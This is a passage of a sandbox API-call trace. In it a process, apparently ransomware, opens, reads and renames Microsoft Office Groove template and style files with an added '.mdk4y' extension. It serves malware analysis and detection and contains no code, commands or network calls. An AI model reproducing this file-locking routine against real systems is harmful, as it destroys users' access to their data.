1 [0217.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829237500000) returned 1 [0217.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829237500000) returned 1 [0217.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html.mdk4y")) returned 1 [0217.147] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.286] AreFileApisANSI () returned 1 [0217.287] GetACP () returned 0x4e4 [0217.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsBrowserUpgrade.html", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsBrowserUpgrade.htmlf", lpUsedDefaultChar=0x37dda8) returned 24 [0217.287] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829251800000) returned 1 [0217.288] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x850, lpOverlapped=0x0) returned 1 [0217.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829252900000) returned 1 [0217.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829252900000) returned 1 [0217.300] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html.mdk4y")) returned 1 [0217.301] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.301] AreFileApisANSI () returned 1 [0217.301] GetACP () returned 0x4e4 [0217.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsColorChart.html", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsColorChart.htmlhtml", lpUsedDefaultChar=0x37dda8) returned 20 [0217.301] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829253200000) returned 1 [0217.302] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2ed, lpOverlapped=0x0) returned 1 [0217.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829253400000) returned 1 [0217.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829253400000) returned 1 [0217.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html.mdk4y")) returned 1 [0217.305] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.305] AreFileApisANSI () returned 1 [0217.306] GetACP () returned 0x4e4 [0217.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsFormTemplate.html", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsFormTemplate.htmlml", lpUsedDefaultChar=0x37dda8) returned 22 [0217.306] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829253600000) returned 1 [0217.306] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xc94, lpOverlapped=0x0) returned 1 [0217.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829254500000) returned 1 [0217.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829254500000) returned 1 [0217.316] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html.mdk4y")) returned 1 [0217.317] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.317] AreFileApisANSI () returned 1 [0217.317] GetACP () returned 0x4e4 [0217.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePage.html", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePage.htmlhtml", lpUsedDefaultChar=0x37dda8) returned 18 [0217.317] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829254800000) returned 1 [0217.318] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xc7c, lpOverlapped=0x0) returned 1 [0217.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829255000000) returned 1 [0217.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829255000000) returned 1 [0217.320] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html.mdk4y")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.321] AreFileApisANSI () returned 1 [0217.321] GetACP () returned 0x4e4 [0217.321] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePageScript.js", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePageScript.js", lpUsedDefaultChar=0x37dda8) returned 22 [0217.322] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829255200000) returned 1 [0217.322] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1dda, lpOverlapped=0x0) returned 1 [0217.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829255300000) returned 1 [0217.323] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829255300000) returned 1 [0217.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js.mdk4y")) returned 1 [0217.324] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.324] AreFileApisANSI () returned 1 [0217.324] GetACP () returned 0x4e4 [0217.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePageStyle.css", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePageStyle.css", lpUsedDefaultChar=0x37dda8) returned 22 [0217.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.325] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829255500000) returned 1 [0217.325] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2ec, lpOverlapped=0x0) returned 1 [0217.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829256700000) returned 1 [0217.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829256700000) returned 1 [0217.337] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css.mdk4y")) returned 1 [0217.338] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.338] AreFileApisANSI () returned 1 [0217.338] GetACP () returned 0x4e4 [0217.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsImageTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsImageTemplate.htmll", lpUsedDefaultChar=0x37dda8) returned 23 [0217.338] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.339] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829256900000) returned 1 [0217.339] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x7ee, lpOverlapped=0x0) returned 1 [0217.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829257000000) returned 1 [0217.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829257000000) returned 1 [0217.340] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html.mdk4y")) returned 1 [0217.342] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.342] AreFileApisANSI () returned 1 [0217.343] GetACP () returned 0x4e4 [0217.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsMacroTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsMacroTemplate.html", lpUsedDefaultChar=0x37dda8) returned 23 [0217.343] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829257300000) returned 1 [0217.343] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x856, lpOverlapped=0x0) returned 1 [0217.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829257400000) returned 1 [0217.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829257400000) returned 1 [0217.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html.mdk4y")) returned 1 [0217.346] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.346] AreFileApisANSI () returned 1 [0217.346] GetACP () returned 0x4e4 [0217.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPreviewTemplate.html", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPreviewTemplate.html", lpUsedDefaultChar=0x37dda8) returned 25 [0217.346] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829257700000) returned 1 [0217.347] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x46fe, lpOverlapped=0x0) returned 1 [0217.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829257800000) returned 1 [0217.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829257800000) returned 1 [0217.348] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html.mdk4y")) returned 1 [0217.349] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.349] AreFileApisANSI () returned 1 [0217.349] GetACP () returned 0x4e4 [0217.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPrintTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPrintTemplate.htmlml", lpUsedDefaultChar=0x37dda8) returned 23 [0217.349] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0217.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829258000000) returned 1 [0217.350] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x612, lpOverlapped=0x0) returned 1 [0217.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829262200000) returned 1 [0217.392] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829262200000) returned 1 [0217.393] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html.mdk4y")) returned 1 [0217.394] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0217.394] AreFileApisANSI () returned 1 [0217.394] GetACP () returned 0x4e4 [0217.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsStyles", cchWideChar=11, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsStylesemplate.html", lpUsedDefaultChar=0x37dda8) returned 11 [0217.395] AreFileApisANSI () returned 1 [0217.395] GetACP () returned 0x4e4 [0217.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=95, lpWideCharStr=0x37db3c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\k7Őh\x02Ȁ") returned 95 [0217.396] AreFileApisANSI () returned 1 [0217.396] GetACP () returned 0x4e4 [0217.396] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dd1c) returned 1 [0217.396] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.397] AreFileApisANSI () returned 1 [0217.397] GetACP () returned 0x4e4 [0217.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dd1c) returned 2 [0217.397] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.397] AreFileApisANSI () returned 1 [0217.397] GetACP () returned 0x4e4 [0217.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Adobe.css", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Adobe.css", lpUsedDefaultChar=0x37dd1c) returned 9 [0217.397] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829262800000) returned 1 [0217.398] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3a1, lpOverlapped=0x0) returned 1 [0217.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829262900000) returned 1 [0217.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829263000000) returned 1 [0217.400] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css.mdk4y")) returned 1 [0217.401] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.401] AreFileApisANSI () returned 1 [0217.401] GetACP () returned 0x4e4 [0217.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Americana", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Americana", lpUsedDefaultChar=0x37dd1c) returned 9 [0217.401] AreFileApisANSI () returned 1 [0217.401] GetACP () returned 0x4e4 [0217.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=105, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\꬀\x94") returned 105 [0217.402] AreFileApisANSI () returned 1 [0217.402] GetACP () returned 0x4e4 [0217.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: 